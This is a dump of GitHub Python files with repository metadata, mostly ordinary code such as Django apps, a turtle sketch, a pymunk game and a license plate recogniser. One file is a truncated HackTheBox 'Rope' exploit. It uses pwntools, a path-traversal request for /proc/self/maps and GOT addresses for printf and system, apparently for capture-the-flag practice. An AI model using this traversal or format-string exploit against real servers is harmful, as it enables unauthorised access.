blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 220
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 257
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4998d14e229e37f835bbecc90cd2f99ce4d68860 | 78efa54b2b253f99ea7e073f783e6121c20cdb52 | /Codechef/Maximize The Sum.py | 6c263f96896aaeb642979ffca927fdf582635a67 | [] | no_license | NishchaySharma/Competitve-Programming | 32a93581ab17f05d20129471f7450f34ec68cc53 | 1ec44324d64c116098eb0beb74baac7f1c3395bb | refs/heads/master | 2020-04-08T04:02:46.599398 | 2020-01-01T15:51:39 | 2020-01-01T15:51:39 | 159,000,529 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 190 | py | for _ in range(int(input())):
n=int(input())
arr=sorted(list(map(int,input().split())))
res=0
for i in range(n//2):
res+=abs(arr[i]-arr[n-i-1])
print(res)
| [
"noreply@github.com"
] | NishchaySharma.noreply@github.com |
2c8f4f7227f82dcabce679d0b612e3e0c4bebb05 | c3f23317487154ace20c9baf5eafc79c0dfac55a | /Rope/rope_fmtExploit.py | 926fff23a1aeddc70e49482f882a92e2bda37e28 | [] | no_license | gbrsh/htb_exploits | a54d946355966c733d6a6d6ddc7c95d6ab5ae4a6 | 36175b1a258f7fd246ff815cc29facebf10ae0a1 | refs/heads/main | 2023-02-15T17:59:17.023361 | 2021-01-18T13:38:08 | 2021-01-18T13:38:08 | 330,675,194 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,498 | py | import base64
import urllib
from struct import pack
from pwn import *
myip = "10.10.14.2"
host = "10.10.10.148"
got_base = ""
got_printf = ""
libc_printf = ""
libc_system = ""
got_puts = ""
def mapsExtract():
cPrm = "GET"
aPrm = "../../../../../proc/self/maps"
rPrm = "Range: bytes=0-9999"
payload = cPrm + " " + ... | [
"noreply@github.com"
] | gbrsh.noreply@github.com |
3f59c6edd6e5a5576e24f61b7997b031a064e4d7 | a62c3f0f641c930d74aa4a43e14b0f1e8de71b5f | /pages/views.py | d3ee28ea642f9016e0fb679d2d6d97a165b998b5 | [
"MIT"
] | permissive | ticotheps/scenic-realty-app | b2b02f509cff51d40d88c07fe5afff7c65c73c0c | c91caaee019d4790d444d02067a1a8e83ed554ba | refs/heads/develop | 2020-12-02T09:37:58.467839 | 2020-02-10T18:15:58 | 2020-02-10T18:15:58 | 230,966,666 | 0 | 0 | MIT | 2020-02-10T18:15:59 | 2019-12-30T19:10:19 | CSS | UTF-8 | Python | false | false | 204 | py | from django.shortcuts import render
from django.http import HttpResponse
def index(request):
return render(request, 'pages/index.html')
def about(request):
return render(request, 'pages/about.html') | [
"ticotheps@gmail.com"
] | ticotheps@gmail.com |
7dff4b226731cd79302d718ef9315d7ab9f5ed9f | 90b6c2643e41e374d86048da524d69699810907b | /aula6/criador_de_nota_fiscal.py | d7b7c4ef2db7145b4fb8e0bef061a8534d5dfbe4 | [] | no_license | silviosnjr/Python-Design-Patterns-parte1 | 24d4a8b5b8eff3c14788b2e0c272180825157fed | c831736f5e9c20bd68ee5a9578a2f71bdd107aa4 | refs/heads/master | 2023-08-16T08:33:17.625107 | 2021-10-16T17:56:52 | 2021-10-16T17:56:52 | 417,688,036 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,537 | py | # -*- coding: UTF-8 -*-
from nota_fiscal import Nota_fiscal
from datetime import date
class Criador_de_nota_fiscal(object):
def __init__(self):
self.__razao_social = None
self.__cnpj = None
self.__data_de_emissao = None
self.__itens = None
self.__detalhes = None
def com... | [
"silviosnjr@gmail.com"
] | silviosnjr@gmail.com |
5521b133c4c362f2cc6d3ccdcc2029c849e5935b | d28ae1748a2be7aa60926d82f60723392f3bd0b4 | /piece.py | 7046be7cea0bc62e123dd94afef9afaafd5cf915 | [] | no_license | FilipKrzemien/Python-Checkers | 05855845a0ede8fd95b330211d5e8a6875441870 | f7283d1d33a5eff65176dc0d679aa831f3d4e706 | refs/heads/master | 2020-03-21T08:36:31.159249 | 2019-04-14T13:44:31 | 2019-04-14T13:44:31 | 138,354,013 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 724 | py | from square import Square
class Piece(Square):
def __init__(self, position, player):
Square.__init__(self, position)
self.player = player
def move_available(self, other_position, black_turn):
pass
def update_position(self, new_position):
Square.update_position(self, new_p... | [
"filip.krzem@gmail.com"
] | filip.krzem@gmail.com |
5b50487270c74172bed04c7f6257121b2eacd2c0 | be937643b2d7a8ae86b87bfb286c2119fe8423c3 | /authentication/forms.py | 4b91e273758d346b7714f21fcd824fa56037c5c9 | [] | no_license | Detharion91/django-tickets-app | 58f8a4151bea424517a4e2c102e09e6bc5e9c38d | cfbcf19b373aa6412a2904a7386d82a8e0139744 | refs/heads/master | 2020-03-30T13:24:18.603969 | 2018-10-02T14:54:59 | 2018-10-02T14:54:59 | 151,271,399 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,167 | py | from django import forms
from django.utils.translation import gettext_lazy as _
from django.contrib.auth.models import User
class RegisterForm(forms.ModelForm):
password = forms.CharField(label=_('Password'), widget=forms.PasswordInput)
password2 = forms.CharField(label=_('Confirm Password'), widget=forms.Pas... | [
"ghernandezdelrosario@gmail.com"
] | ghernandezdelrosario@gmail.com |
45a0abb7cb04b7724c98f4ae1b983fc5ab8ca6ff | bee0e3bd66de44a8fdf5ef111eeee11c78268d86 | /server/edd/notify/tests.py | 0d19754431fdac324ca2b2ce54e53c208cc9a7b0 | [
"BSD-3-Clause",
"BSD-3-Clause-LBNL"
] | permissive | zhwycsz/edd | 7516d56a7263c90c625b6b5c2c58577a36d6ace7 | bdc1d2f8b5e375d3a1254829b9d2b460dd09ca12 | refs/heads/master | 2020-07-10T22:21:52.152045 | 2019-08-15T04:27:53 | 2019-08-15T04:27:53 | 204,384,337 | 1 | 0 | NOASSERTION | 2019-08-26T02:58:01 | 2019-08-26T02:58:00 | null | UTF-8 | Python | false | false | 13,569 | py | # coding: utf-8
import time
from uuid import uuid4
import pytest
from channels.testing import WebsocketCommunicator
from edd import TestCase, asgi
from main.tests import factory
from . import backend
class NotificationTests(TestCase):
@classmethod
def setUpTestData(cls):
super().setUpTestData()
... | [
"WCMorrell@lbl.gov"
] | WCMorrell@lbl.gov |
85115d1212270dde95742797c7074e489bb195c8 | e9c0b70cab39fa771db383fa882436c14ae9aec7 | /pizza_app/migrations/0001_initial.py | ece9b436685209c0100e8865b75f0d5b8d49abde | [
"MIT"
] | permissive | rusrom/django_pizza_project | f4b67b558a6238b58e285f1b9eb38bf1c8cbadf5 | 350862ca49b91f5d5d4e12105846ecc9e4fc15c0 | refs/heads/master | 2020-07-16T05:45:07.229049 | 2019-09-02T14:14:21 | 2019-09-02T14:14:21 | 205,732,229 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,024 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2019-09-02 12:28
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migratio... | [
"rusrom@guyfawkes.33mail.com"
] | rusrom@guyfawkes.33mail.com |
5217d549706a2f597d04b402bbc9bb8c20a0c4b2 | 6567e62b10027b4219692d9f8a1ba9c9c9871cfd | /model/model_dynamodb.py | 1725e0d1101e459b600e1e2cb1b9feb471885052 | [] | no_license | vlames/memoverse | 1356031b5cddf0d73f87aa0abdb161f88d631525 | 2d365bdce2992a3fea38eebc19958c204dda80b7 | refs/heads/master | 2022-11-22T17:42:59.103971 | 2020-07-16T22:58:19 | 2020-07-16T22:58:19 | 279,144,525 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,217 | py | # File: model/model_dynamodb.py
# Description: the file provides the dynamodb backend storage for memoverse
"""
The memoverse data is stored in the dynamodb database and has the following look:
+-----------+-------------------+-------+--------------+
| Reference | Theme | Verse | Fums |
+=========... | [
"vlames@pdx.edu"
] | vlames@pdx.edu |
72892bdf8fdf2f6871faa6409f8b2e0b4cb27a32 | 433f7b48e1228f700a4581a9c212208e0214ee91 | /django_cms_example2/wsgi.py | a6953a86dcdd243e3bf42672b2d5dbe13ca59973 | [] | no_license | sysneld1/telecom1 | 13e69972ac016fd3f1cc59a5a4dfb250f4a3a2af | f210edd73098610ec7029b0991e208a11a7e3fb7 | refs/heads/master | 2022-12-17T02:52:56.947608 | 2020-09-15T12:28:45 | 2020-09-15T12:28:45 | 295,719,322 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 415 | py | """
WSGI config for django_cms_example2 project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('... | [
"sysneld1@gmail.com"
] | sysneld1@gmail.com |
4d7b1226c2be4554257e8f7c5caf6d4ec0fc71b2 | 1085f7ea495be42baf5b4384e47419d867a22b20 | /event/tests.py | 7b6b1fb1a6d263d840df6f396fffe2f9cc595f7c | [
"MIT",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | lorne-luo/venom | 0c1061fdcfa79176be8ae79cc9fb239f59a82254 | bf6379d9a40dd81f1e01cc230a4eae93452c0f18 | refs/heads/master | 2022-12-28T17:13:08.607339 | 2020-10-12T00:21:17 | 2020-10-12T00:21:17 | 301,604,020 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,697 | py | import unittest
import json
from broker.oanda.common.constants import OrderType
from event.event import SignalEvent, SignalAction, Event
from mt4.constants import OrderSide, PERIOD_M5, pip, calculate_price
from strategy.hlhb_trend import HLHBTrendStrategy
class EventTest(unittest.TestCase):
def test_event(self):... | [
"lorneluo@leightonobrien.com"
] | lorneluo@leightonobrien.com |
f022eab24ec8efff6cd2a71e46e90e334bef79fc | 2e87a0a3f62be689ae3b858eaf1e843632c152f8 | /Turtoise.py | ce8b81787592b8486bd2107bec532b16a8f915d5 | [] | no_license | ThinThinzarHtet/PythonHybridClass | 1dc3ec385d49fab2b4513507699c5587c03eff3b | a9d7b7cb51c1896523b4b2788490959b20532232 | refs/heads/master | 2021-10-25T07:59:56.116757 | 2020-01-19T11:05:35 | 2020-01-19T11:05:35 | 217,832,143 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 281 | py | # from turtle import *
# color('red', 'yellow')
# begin_fill()
# while True:
# forward(200)
# left(170)
# if abs(pos()) < 1:
# break
# end_fill()
# done()
import turtle
triple = turtle.turtle()
for i in range(20):
triple.forward(i * 10)
triple.right(144)
turtle.done() | [
"thinthinzarhtet19@gmail.com"
] | thinthinzarhtet19@gmail.com |
5858339fb5fa9dbe8b8188ff43641fdd371396b9 | 1ee10e1d42b59a95a64d860f0477a69b016d1781 | /Lecture_03/Lecture Code/10_Matcher_3_Lexical_Attibutes.py | 00f1d77a02bad808777d7d520f42ccb07444ce0b | [] | no_license | KushalIsmael/NLP | 5564070a573d251d7222dda85b8025ae1f9c3c6f | d4ce567a009e149b0cb1781d3a341d25aa438916 | refs/heads/master | 2023-08-18T14:07:48.646386 | 2021-10-28T19:09:25 | 2021-10-28T19:09:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 432 | py | import spacy
from spacy.matcher import Matcher
nlp = spacy.load("en_core_web_sm")
matcher = Matcher(nlp.vocab)
pattern = [{"IS_DIGIT": True}, {"LOWER": "fifa"}, {"LOWER": "world"},
{"LOWER": "cup"}, {"IS_PUNCT": True}]
matcher.add("FIFA", [pattern])
doc = nlp("2018 FIFA World Cup: France won!")
matches = m... | [
"amir.h.jafari@okstate.edu"
] | amir.h.jafari@okstate.edu |
0d3df4c7aa3aec5676639d9ff04e3a255dd4bd91 | b0bbe465952beab8c9634320662e1a60dbce567f | /app/api/agent/__init__.py | 1a69d0ec7e34a9447ae490f085bda28cdd502f45 | [] | no_license | pawanpal1848/smart-pid-api | eb84b36aaef314aaf099bc9dcd2552a02fea10ab | e26b4da1a09b9314961b07acb0859f29a694f1a5 | refs/heads/master | 2023-08-09T11:14:16.098429 | 2021-09-07T12:59:44 | 2021-09-07T12:59:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,724 | py | from app.model.buffer import Buffer, get_buffer_used_size
from app.model.response import ValuedResponse, Response, ExceptionResponse
from app.model.agent import load_agent_settings, save_agent_settings, get_loaded_agent
import tensorflow as tf
import numpy as np
agent = get_loaded_agent()
def remember(body: list):
... | [
"mathias.tiberghien@gmail.com"
] | mathias.tiberghien@gmail.com |
23de31fa7213263f9a98e2bd707d3c2d771dd3be | eda36d24a1e6d4f30597ab1e1b2d8e17694f93bd | /weio/tests/test_turbsim.py | 2afe6ac46c1e982c0352cf1e40abbc37dad84357 | [
"MIT"
] | permissive | ebranlard/weio | 31fdab7a8afde9919f66fab942dad309f8d8d0e2 | 50fab087c5dc3e0248bcce578de6e713fa3e9b5f | refs/heads/main | 2023-07-23T19:32:42.548855 | 2022-12-19T08:13:06 | 2022-12-19T08:13:06 | 152,828,434 | 25 | 20 | MIT | 2023-01-13T20:37:29 | 2018-10-13T02:44:25 | Python | UTF-8 | Python | false | false | 1,734 | py | import unittest
import os
import numpy as np
from .helpers_for_test import MyDir, reading_test
try:
from weio.turbsim_file import TurbSimFile
except:
from weio.weio.turbsim_file import TurbSimFile
class Test(unittest.TestCase):
def test_001_read_all(self, DEBUG=True):
reading_test('TurbSim_*.*', ... | [
"emmanuel.branlard@nrel.gov"
] | emmanuel.branlard@nrel.gov |
a172c1be6d6b5a6fe6ce3855677790abab9776c3 | 5a60ad7e8a5efabb9a9ef4a9980ae7bbcf81c393 | /attack_files/leak.py | 67cb4e87a08a939b3bb919efc95ae78cd08abc45 | [] | no_license | agadient/SERVEEZ-CVE | 03cb17b9b35162517b4d8ff7003187479ab8a8c6 | 6507dbf6bed1ae98a7322f15f7238144ea1e1be7 | refs/heads/master | 2020-09-13T10:48:09.714749 | 2019-11-19T17:39:58 | 2019-11-19T17:39:58 | 222,747,827 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 449 | py | #!/usr/bin/python
import socket
from time import sleep
import sys
a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
b = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
d = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
f = open(sys.argv[1], 'r')
data = f.re... | [
"agadient@mit.edu"
] | agadient@mit.edu |
0e85466f60bd9a21dc3fc450b1a424e22248fff6 | 9a0a4439610489f391ed99f565de358779048a3f | /Assign3/ib_kpca.py | 0a1713af17bae9b55adb1f5643412b900157c95e | [] | no_license | asyrofist/SMAI-A3-SVM-Kernel-PCA-LDA | 6a5fecba0bcbe828ec8e3df895ac5d7aac8e4e55 | 5675a3ef452840298ff94ccaa631278fbdf8a691 | refs/heads/master | 2021-04-23T18:37:09.598069 | 2016-10-28T12:52:59 | 2016-10-28T12:52:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 211 | py | from sklearn.decomposition import KernelPCA
def kpca(X,g,k):
kpca = KernelPCA(k,kernel="rbf", fit_inverse_transform=True, gamma=g)
pcaX = kpca.fit_transform(X)
return (pcaX) | [
"saumya.rawat25@gmail.com"
] | saumya.rawat25@gmail.com |
ff9ee174e245f827cf26c90562405bbd23476e0d | d659887598e3cd40219c2e1b46cf41de28e5bc58 | /generate_mp4.py | 363567b86a0d8e1de74bd032bacd9eafd47e2c0b | [
"MIT"
] | permissive | cvtuge/Extreme-Dark-Video-Enhancement | d3f5ad874bdd2d636b04a344ba70afd8db0084c5 | e0de50428d74a7cec2ee87b63e9fce9860dfd590 | refs/heads/master | 2022-04-08T21:51:40.559183 | 2020-02-02T23:00:45 | 2020-02-02T23:00:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,009 | py | #!/usr/bin/env python
# by boyuanwa 3043994708
# ----------------------------------------------------------------
# Written by Boyuan Wang
# Fall 2019
# ----------------------------------------------------------------
# This helper python aims to cnvert from npy file to mp4 file
import os, glob, time
import numpy as n... | [
"wangby511@gmail.com"
] | wangby511@gmail.com |
fe71939a7bd2a6c8c874577da3939a3550c854ce | e52af4720714e8d40d22593c815403129d96f630 | /kiwi/util/service_groups.py | 4102bb45721fd2efc7f9009568adb85a10ddb9cb | [
"Apache-2.0"
] | permissive | KiwiNetworkOrg/kiwi-blockchain | 26f143aef0ec5d615fc3ce8a2f5d64d285f3c76d | 90ec3a0fd7b50f5b98b5b0478e28ebbe6f8e8a71 | refs/heads/main | 2023-07-27T03:03:23.966038 | 2021-09-02T07:57:21 | 2021-09-02T07:57:21 | 398,200,002 | 8 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,190 | py | from typing import KeysView, Generator
SERVICES_FOR_GROUP = {
"all": "kiwi_harvester kiwi_timelord_launcher kiwi_timelord kiwi_farmer kiwi_full_node kiwi_wallet".split(),
"node": "kiwi_full_node".split(),
"harvester": "kiwi_harvester".split(),
"farmer": "kiwi_harvester kiwi_farmer kiwi_full_node kiwi_w... | [
"jackydu1980@gmail.com"
] | jackydu1980@gmail.com |
b1c10929ca27cebfc8f32d5fa3e33f13d3744bd3 | c251401a04faee549a5255745dc976c2be8e24b9 | /work_orders/permissions.py | 15b4821acb2a82a375b098f4d93f2ef74b862691 | [] | no_license | fengo4142/aero-django-backend | a43a3526b570730fd9d519b8e890e550ff9f9f3c | 53167b52b68b30eef6a10edea47888ba0ad71a4e | refs/heads/master | 2022-11-11T10:01:50.534513 | 2020-06-24T15:40:11 | 2020-06-24T15:40:11 | 274,699,313 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,948 | py | import logging
from rest_framework.permissions import BasePermission
from work_orders.models import WorkOrderForm
logger = logging.getLogger('backend')
# *****************************************************************************
# ***************************** WORK ORDERS *******************************
# **... | [
"fengo4142@gmail.com"
] | fengo4142@gmail.com |
bce3a2f07e931ae8a96ce2b494edbef64616f5ea | b21a7616ec39e53c4c5d596c32fc2e6c6f3d5273 | /Reverse/HW-08/10/anrgy.py | ac996f3b9fdbd2b53ba7c92a306be07f0cef4b6f | [] | no_license | vladrus13/ITMO | d34fbd5feee0626c0fe5722b79dd928ee2a3f36a | c4ff564ea5f73e02354c0ae9248fee75df928b4e | refs/heads/master | 2022-02-23T03:13:36.794460 | 2022-02-10T22:24:16 | 2022-02-10T22:24:16 | 177,217,313 | 17 | 9 | null | 2020-08-07T15:06:37 | 2019-03-22T22:33:18 | Java | UTF-8 | Python | false | false | 593 | py | def tracer():
ROOT = '#ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
ENTER_FOR_ADDR = '0x80484b1\n'
IF_ADDR = '0x80484ba\n'
file = open('trace.log', 'r')
char = 0
s = file.readline()
while file.readable():
while s != ENTER_FOR_ADDR:
s = file.readline()... | [
"vladrus13rus@yandex.ru"
] | vladrus13rus@yandex.ru |
e41d486baf0f584817240d5dfb4283ad35235fff | a80884040ce1c178274a3068d216f440dd541844 | /tests/operators/test_group_by.py | 148a994d874624aae29cd6aea6bd533dc90abce8 | [
"MIT"
] | permissive | maki-nage/rxsci | a4aae51edc1ef684b55df22e34c11aa1d54ef740 | 915e59ebf593c4b313265bb87cf0e1209ec2ee0f | refs/heads/master | 2023-01-19T14:32:11.638497 | 2023-01-17T08:06:35 | 2023-01-17T08:06:35 | 242,592,973 | 9 | 2 | MIT | 2022-11-08T21:54:16 | 2020-02-23T21:23:56 | Python | UTF-8 | Python | false | false | 4,013 | py | import rx
import rx.operators as ops
import rxsci as rs
from ..utils import on_probe_state_topology
def test_group_by_obs():
source = [1, 2, 2, 1]
actual_error = []
actual_completed = []
actual_result = []
mux_actual_result = []
def on_completed():
actual_completed.append(True)
s... | [
"romain.picard@oakbits.com"
] | romain.picard@oakbits.com |
365a794605a103aa3c437ccaaab439b00243cb55 | 03fc2bef8d43fb62f1063c3c70edee938d87a36e | /Reinforcement-learning-agent-law/game/create_game.py | 641f2dba9f5c8d5960a4439eeaa65f82065dc29a | [
"MIT"
] | permissive | driesdenouter/Reinforcement-learning-agent-that-has-learned-the-law | 7fc79c5724984e8544376bb33e8246e595c7146b | e4f39a0f6827bf25148aa9fd4f6e15f2a8f4bf6f | refs/heads/master | 2023-01-28T15:37:00.450840 | 2020-12-05T16:53:09 | 2020-12-05T16:53:09 | 262,281,384 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,953 | py | import random
import math
import numpy as np
import pygame
from pygame.color import THECOLORS
import pymunk
from pymunk.vec2d import Vec2d
from pymunk.pygame_util import draw
# PyGame init
width = 1000
height = 700
pygame.init()
screen = pygame.display.set_mode((width, height))
clock = pygame.time.Clock()
# Turn of... | [
"noreply@github.com"
] | driesdenouter.noreply@github.com |
ef4f31488ff1d5936c39d77fc37b29c55734102e | 4500003dcaa3eb92e2b9c6bca8987ec473fb5ec3 | /core/migrations/0006_post_slug.py | db41286dfce7136c7c34e38796bac248d7291c36 | [] | no_license | alikhundmiri/simpleweddingdjango | 0bb2bfc069bac075d759efa96eede55c68595cf4 | 57aa6576df368fde651f7f2b6863f693bbb57756 | refs/heads/master | 2022-12-17T22:36:18.674974 | 2020-06-14T08:10:09 | 2020-06-14T08:10:09 | 239,115,495 | 0 | 0 | null | 2022-12-08T03:51:09 | 2020-02-08T11:01:00 | HTML | UTF-8 | Python | false | false | 866 | py | # Generated by Django 3.0.3 on 2020-03-29 16:37
from django.db import migrations, models
from core.utils import random_string_generator
from django.utils.text import Truncator
from django.utils.text import slugify
def gen_slug(apps, schema_editor):
MyModel = apps.get_model('core', 'Post')
for row in MyModel.... | [
"salikhundmiri@gmail.com"
] | salikhundmiri@gmail.com |
b5450b3f9c338676f9ab05092e450396a19672b0 | 5d5f6ba3bdcb52b4750a5f28afa8a1a1019bfc9e | /django/extras/djangoForms/djangoFormApp/models.py | 464d6d00fd8196fb2c75dbf55badc599443656b0 | [] | no_license | eDiazGtz/pythonLearning | 06e96f2f5a6e48ac314cb815cf9fbf65d0b7c2c8 | 57d7b2292cf5d9769cce9adf765962c3c0930d6c | refs/heads/master | 2023-06-18T02:16:09.293375 | 2021-05-03T18:09:52 | 2021-05-03T18:09:52 | 335,090,531 | 0 | 0 | null | 2021-05-03T18:09:53 | 2021-02-01T21:35:24 | Python | UTF-8 | Python | false | false | 758 | py | from django.db import models
# Create your models here.
class UserManager(models.Manager):
def createValidator(self, postData):
errors = {}
if len(postData['firstName']) < 1:
errors["firstName"] = "First Name should be at least 1 character"
if len(postData['lastName']) < 1:
... | [
"ediaz-gutierrez@hotmail.com"
] | ediaz-gutierrez@hotmail.com |
1d1e5c80adae2a85e36764be6c6786ca13998bc7 | 3a771b72dae1aae406b94726bcbcf73915577b18 | /q38.py | 0a85a5450c76b409276bf18b448122f28c6bc171 | [] | no_license | SHANK885/Python-Basic-Programs | 4fcb29280412baa63ffd33efba56d9f59770c9dc | 157f0f871b31c4523b6873ce5dfe0d6e26a6dc61 | refs/heads/master | 2021-07-18T18:24:10.455282 | 2018-11-19T07:02:27 | 2018-11-19T07:02:27 | 138,009,231 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 294 | py | '''
Define a function which can generate a list where the values are square of numbers between 1 and 20 (both included).
Then the function needs to print the last 5 elements in the list.
'''
def lis(lower,upper):
l = []
for i in range(lower,upper+1):
l.append(i)
print(l[-5:])
lis(1,20) | [
"shashankshekhar885@gmail.com"
] | shashankshekhar885@gmail.com |
ce6904d70f47be5003b15f558dcc9f8b0b56a0fe | 4863991fc679b178106cd8091ac6c61923fdf8e6 | /03-Python/3/Activities/03-Stu_HobbyBook/Unsolved/HobbyBook_Unsolved.py | afffec60f4fdf29ba6c71dc8da33fbcf265bb2ad | [] | no_license | HeyMikeMarshall/GWARL-Data | 0b22bea61f7cf103cd7da8119bf2138d74a665f1 | cfa61c1eb8db933f4c096fcc0fe79a01e82539e4 | refs/heads/master | 2020-04-27T21:46:49.156111 | 2019-04-13T14:27:57 | 2019-04-13T14:27:57 | 174,711,542 | 0 | 0 | null | 2019-03-21T23:03:24 | 2019-03-09T15:30:36 | null | UTF-8 | Python | false | false | 437 | py |
me_hobbybook = {
"name":"Michael Marshall",
"age":"32",
"hobbies":
["hiking", "gaming", "diy"],
"wakeuptime": {
"Monday": '0600',
"Tuesday": '0600',
"Wednesday": '0600',
"Thursday": '0600',
"Friday": '0600',
"Saturday": '0800',
"Sunday":... | [
"mjmarshall@gmail.com"
] | mjmarshall@gmail.com |
dbc3af99f4b28f4c0b2f38df4b3669c55981fec5 | 95e25faf8756a5f8f01be106e21449250c35af79 | /project/_auth/migrations/0022_auto_20210515_0557.py | bdab54653b2f88bfe5bd1b8353d87aa678b5805b | [] | no_license | nazkeyramazan/django2021 | ac2d918821b35672f242f8d4656d2e8698c0e7f9 | f63a1760b0a7a13721087863a191aeb282b9f077 | refs/heads/master | 2023-05-14T18:55:40.787793 | 2021-05-15T01:38:07 | 2021-05-15T01:38:07 | 342,715,437 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 445 | py | # Generated by Django 3.1.7 on 2021-05-14 23:57
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('_auth', '0021_auto_20210515_0410'),
]
operations = [
migrations.AlterField(
model_name='mainuser',
name='role',
... | [
"nazkeyramazan@gmail.com"
] | nazkeyramazan@gmail.com |
3106b4bc8e71a298aca6998c29c4550feecf1a1e | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_057/ch136_2020_04_01_12_32_08_786356.py | 4df310a8d6f0a4bc15990114f812d772610cae60 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 54 | py | dinheiro = 10
print('dinheiro:'{0}).format (dinheiro)
| [
"you@example.com"
] | you@example.com |
b42d376714e61221c9b1932afe6a308354078de5 | 523fb785bda41e33546c929a5c2de6c93f98b434 | /专题学习/链表/mergeKLists.py | 89db71c8897b4a8abf67d8c47ea987374e83a389 | [] | no_license | lizhe960118/TowardOffer | afd2029f8f9a1e782fe56ca0ff1fa8fb37892d0e | a0608d34c6ed96c9071cc3b9bdf70c95cef8fcbd | refs/heads/master | 2020-04-27T10:33:21.452707 | 2019-05-02T10:47:01 | 2019-05-02T10:47:01 | 174,259,297 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 700 | py | # Definition for singly-linked list.
# class ListNode(object):
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution(object):
def mergeKLists(self, lists):
"""
:type lists: List[ListNode]
:rtype: ListNode
"""
#把所有链表放入数组,排序后建立新链表返回
... | [
"2957308424@qq.com"
] | 2957308424@qq.com |
89e4b0cc8cc580454793178a3e90e399b693f848 | 1cd853babf022779f3392eb9e1781f952d4f2c07 | /proposal.py | 45a17c9f760c1ab2575741bea87304eb7b516340 | [
"Apache-2.0"
] | permissive | ksrhamdi/proCon3 | 84b53027305f609267393701b49f3e7efade9097 | f0d214651dae5cbdbd4f7ff881269fb1cc5501ad | refs/heads/master | 2022-11-10T06:58:07.931219 | 2020-06-03T18:01:10 | 2020-06-03T18:01:10 | 276,995,886 | 0 | 0 | Apache-2.0 | 2020-07-03T22:15:11 | 2020-07-03T22:15:10 | null | UTF-8 | Python | false | false | 5,885 | py | # Import external modules.
from google.appengine.api import memcache
from google.appengine.ext import ndb
import logging
import random
import time
# Import local modules.
from configuration import const as conf
from constants import Constants
const = Constants()
const.MAX_RETRY = 3
const.MIN_REAGGREGATE_DELAY_SEC = 6... | [
"you@example.com"
] | you@example.com |
96a67941448fd56f8f1010061052ed22f03db22f | 9aa80d470054cbe3dd87be5db83e05bcbff2c3e9 | /License-Plate-Recognition-master/predict.py | e51bf9a637e8af3678e7e7f11fd621d140416e28 | [
"MIT"
] | permissive | fog-dong/test | 9c28cf902f40288e082a958e42c8fabd16ea386b | fbf38d97bb5750b08097178fa532b24e47f1bfb9 | refs/heads/master | 2023-02-16T03:17:40.087509 | 2020-12-28T17:32:33 | 2020-12-28T17:32:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 18,351 | py | import cv2
import numpy as np
from numpy.linalg import norm
import sys
import os
import json
SZ = 20 #训练图片长宽
MAX_WIDTH = 1000 #原始图片最大宽度
Min_Area = 2000 #车牌区域允许最大面积
PROVINCE_START = 1000
#读取图片文件
def imreadex(filename):
return cv2.imdecode(np.fromfile(filename, dtype=np.uint8), cv2.IMREAD_COLOR)
... | [
"1026198824@qq.com"
] | 1026198824@qq.com |
